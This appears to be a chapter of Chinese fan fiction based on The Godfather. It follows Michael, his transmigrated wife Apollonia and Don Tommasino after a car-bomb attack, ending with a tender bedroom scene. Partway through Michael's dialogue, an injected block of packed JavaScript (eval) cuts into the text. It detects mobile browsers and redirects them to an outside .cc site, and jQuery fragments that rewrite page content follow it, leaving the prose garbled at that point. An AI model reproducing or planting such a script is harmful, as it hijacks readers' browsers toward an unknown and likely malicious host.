唐·托马西诺已经三夜未曾合眼。
暗杀像潮水一样一波接一波，逼得他焦躁而疲惫，像被蚊群围攻的狮子，明明强大无比，却无法施展全部爪牙，这让他感到些许力不从心。
他靠坐在书房皮椅上，刚点燃一支雪茄，火星在烟灰缸边跳动，门外就猛地响起一阵急促脚步。
“唐·托马西诺阁下！”
是花园别墅外驻守的警卫，喘着粗气几乎跌撞进来。
“别墅爆炸了！阿尔法·罗密欧只剩下轮子！整个庭院……全是火！”
托马西诺瞳孔一缩，猛地睁大眼睛。下一秒，他抬起手掌，重重盖在眼睛上。
他一言不发，硕大的肚子随着呼吸剧烈起伏，压不住的怒火正从胸膛深处翻涌上来。
可怜的迈克尔，可怜的阿波罗妮亚……
他该如何向老朋友交代？
他有负老朋友之托。
就在这句沉甸甸的念头像铁锤一样砸入胸口时，门外传来另一个急促的脚步声。
“阁下！”另一名警卫冲进来，满头大汗，声音带着剧烈奔跑后的喘息，但语气明显缓了几分：“最新传来确认消息，迈克尔·柯里昂先生平安。他提前撤离，是去往西拉古沙的方向……”
托马西诺一怔，大起大落的情绪过了好几秒才缓过来。
他缓缓放下遮在眼上的手掌，整个人像瞬间瘫坐回那张皮椅，长长地呼出一口气。
“谢天谢地，圣母保佑。”
汽车颠簸着穿过漫长的乡间道路，越过起伏不平的山丘，一路向南。
起初，窗外仍有熟悉的丘陵与橄榄林，葡萄架沿着石墙舒展开。渐渐地，田地荒芜，土色泛黄，风夹着尘沙扑在车窗上，处处透着一种不友善的荒凉。
迈克尔的目光从窗外收回，低头看向怀中熟睡的妻子。
她靠在他胸前，呼吸平稳，眉间还带着一丝没散去的忧惧。他轻轻俯身，在她发顶落下一吻，动作很轻，怕惊扰了她。
一股后来才生出的恐惧淹没了他，如果当时车上的人是她，或者是他，那么他就永远不能再见到她了。
这种可怕的假设使得他的眼神渐渐幽暗，神情沉了下去，抱着怀中人的手臂无意识地收紧。
在这一刻，他终于意识到自己别无选择。
他必须回纽约，必须回到他父亲身边。
只有在那里，只有以那个身份，她才能像普通人一样安心快乐地生活。
他的母亲温和宽厚，善良可亲，把家打理得井井有条，和维泰利太太很像。她还未出嫁时，就总爱依在母亲身边，像雏鸟认巢。他相信，她们会相处得很好。
而他的妹妹康妮性格天真柔弱，虽然偶尔有些小情绪，但本质是个好女孩，比妮亚大几岁，他希望她能像个姐姐的样子。
到时候，就让康妮带着她熟悉环境，去百货公司试衣服，在柜台前挑香水，听一场音乐剧，在第五大道的珠宝橱窗前停下。
她们还可以去中央公园喂鸽子，或者在熟人的咖啡馆里坐上一整个下午。
他想过这些，也开始思考路线和人手，哪些地方安全，哪些时间段最稳妥。
他忘不了她说起纽约时，眼里总是藏着一种向往。
他希望这座城市足够好，好得能配得上她的期待，好得不至于令她后悔，跟着他离开故乡与家人。
倪雅从系统的梦境中传送回来时，天色已深，正是蓝调时刻。
暮色像一层宝蓝色的绸缎，轻轻地罩住整片山谷，别墅在天光下仿佛静止了。
她还没完全回神，有人在她耳边低声唤她的名字，语调比天色更柔和。
她睁开眼，最先映入眼帘的，是牵着的一双手。怔了一下，顺着手臂抬起头，看见迈克尔正坐在她身侧，眉眼柔静，像是已经等了她很久。
她自然不知道，在她还沉在梦里时，他只是那样看着她，心里已经默默闪过那么多未来。
关于她的未来，关于他们的未来。
唐·托马西诺的车驶入别墅时，夜色已深。
远处的车灯在蜿蜒的山路间闪出一抹光，顺着碎石小路缓缓而来，停在门廊下时，几乎没有发出什么声响。
屋里灯光温暖，迈克尔和倪雅刚用过晚餐，正一同整理从花园别墅带来的行李。
听见车声，两人停下手中的动作，不约而同地快步走下楼去。
此时，唐·托马西诺的拐杖正点在碎石铺就的地面，保镖小心搀扶着他下车。他落地站稳后，听见屋内传来的脚步声，便抬起头，目光在两人身上停留片刻。
迈克尔和倪雅分别与他贴面拥抱，确认他们确实毫发无伤后，他终于松了口气，脸上浮现出一种疲惫而真诚的、劫后余生般的喜悦。
“谢主保佑。”他低声道，“迈克尔，阿波罗妮亚……看见你们安然无恙，没有比这更好的事了。”
话音刚落，他的肚子不合时宜地响了一声，低沉而清晰，震动在山谷间仿佛也有回音。
他微微一怔，随即带着几分无奈与歉意地看向倪雅。
倪雅忍俊不禁，随即善解人意地笑了笑，说：“我去给您做点面条。”
说完，她轻轻拍了拍迈克尔的手臂，转身走向厨房，为他们留出密谈的空间。
唐·托马西诺靠着拐杖走进书房，步伐缓慢，但神情比以往更为凝重。他将手套取下，放在桌角，坐在迈克尔对面。
“你很快就能回家了。”他开门见山地说。
迈克尔微微抬眼，没有表情。
“你父亲已经在纽约那边斡旋，”托马西诺继续，“他亲自出面，这事已经快谈拢了。只等安排好替罪羊，洗清你在西西里的嫌疑。还需要一点时间，为你办好各种手续和文件。”
沉默片刻后，他又补了一句，语气低了些：“我对今天发生的事情感到抱歉，迈克尔。
我原本以为巴勒莫的骚动是冲我来的，只要我避开，你们就会安全。没想到他们真正的目标，是你。”
这一次，迈克尔抬起头看着他，眼神不重，却极稳。
“背叛我的人是法布雷奇奥。他在阿尔法罗密欧上放了炸弹，只要踩油门，就会立刻爆炸。”
托马西诺没有立刻回应，只是深吸了一口气，对法布雷奇奥的背叛感到失望。
“放心，不会再有下一次了。”他看着他说，“这是他们最后的手段，也暴露了他们的底牌。”
“他们都以为你死了，你现在很安全。”
迈克尔的指节在桌面轻轻敲了一下，声音极轻，眼神冷峻，“不，还不够。”
他缓缓抬眼，语气冷静到近乎平静：“发动你手底下的牧羊人，告诉他们，谁把法布雷奇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405283|168747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奥交出来，谁就能获得西西里最好的牧场。”
他们之间的对话很简短，因为很快，书房的门被轻轻敲响，阿波罗妮亚的声音从门外传来：
“唐·托马西诺，面条好了，你要现在吃吗？”
声音温柔，带着厨房里蒸汽和暖意，从门缝间洒进这间略显阴郁的书房。
托马西诺注意到，坐在对面的迈克尔，那双冷静得像冷血动物般的眼睛，瞬间柔和下来，仿佛回到人间。
卧室静悄悄的，只剩风吹窗帘的微响。
迈克尔枕着手臂，望着天花板，回想书房谈话中出现的名字，图里·吉里安诺，他对这个名字充满好奇。
在西西里流亡的一年里，这个名字对他来说并不陌生。图里·吉里安诺的事迹传遍西西里，连罗马方面都在关注着他。
可今晚，他不想听官方文件里的吉里安诺。
他想听听自己在西西里长大的妻子，真正从这片土地里长出来的人，是怎么看待他的。
迈克尔微微转头，低头吻了吻她的额头，声音低沉又柔软，仿佛只是随口一问：
“图里·吉里安诺，是个怎么样的人？”
倪雅在床上听到这句话，身体几乎微不可察地僵了一下。
这一瞬，她甚至感到一丝心虚。
名义上的丈夫在床上问另一个男人的名字，而她前不久才进入那个男人的梦境之中。
“唉，系统，我这个人还是道德感太强了，你觉得呢？”
系统没有说话，她只听到短暂的微弱的电流声，细品有点像聊天窗里对方打出的一串省略号。
她一边逗系统，一边像回答高中历史人物功过评析题一样，挑着在车上系统给她的人物背景介绍，组织出一份中规中矩的回答。
望着窗帘被风轻轻吹动的轮廓，她斟酌片刻，才缓缓开口：
“他真正关心穷人的利益。西西里所有的年轻人，睡前都会为他祈祷。”
她顿了顿，轻声补了一句：“他是个英雄。”
迈克尔的手漫不经心地拂过她的发梢，轻声细气，“也包括你吗？”
饶是倪雅这种反应慢半拍的人，也听出了新婚丈夫语气里那一点点微妙的醋意。
不知道为什么，她竟然觉得这样的他有点可爱。
于是她像只小羊羔似的，翻身贴到他身上，鼻尖蹭了蹭他下巴，
然后凑过去，轻轻舔了舔他的嘴唇，笑着问：
“你偷吃柠檬了吗？好像闻到一股酸味了呢。”
他没出声，只是用眼神攫住她的双眼，静静地等着她的回答。
“迈克尔，这不一样。”
他没有放开她，声音低低的，几乎贴着她耳廓，语气温柔得几近诱哄：
“哪里不一样？”
倪雅拉开了两人之间的距离，盯着他的眼睛，故意装出一副恶狠狠的样子，一字一顿道，
“没有人想和神明睡觉！”
话一出口，她脸一下子烧得通红，赶紧扯起被子，把自己整个埋进了他怀里。
迈克尔低低地笑出声来，也伸手把她裹进被窝。
年轻夫妻笑作一团，薄被轻轻盖住了两人的低笑声。
这一天发生了太多事，生死之事太沉重了。
需要一些原始的快乐，来冲淡那些深埋心底的恐惧。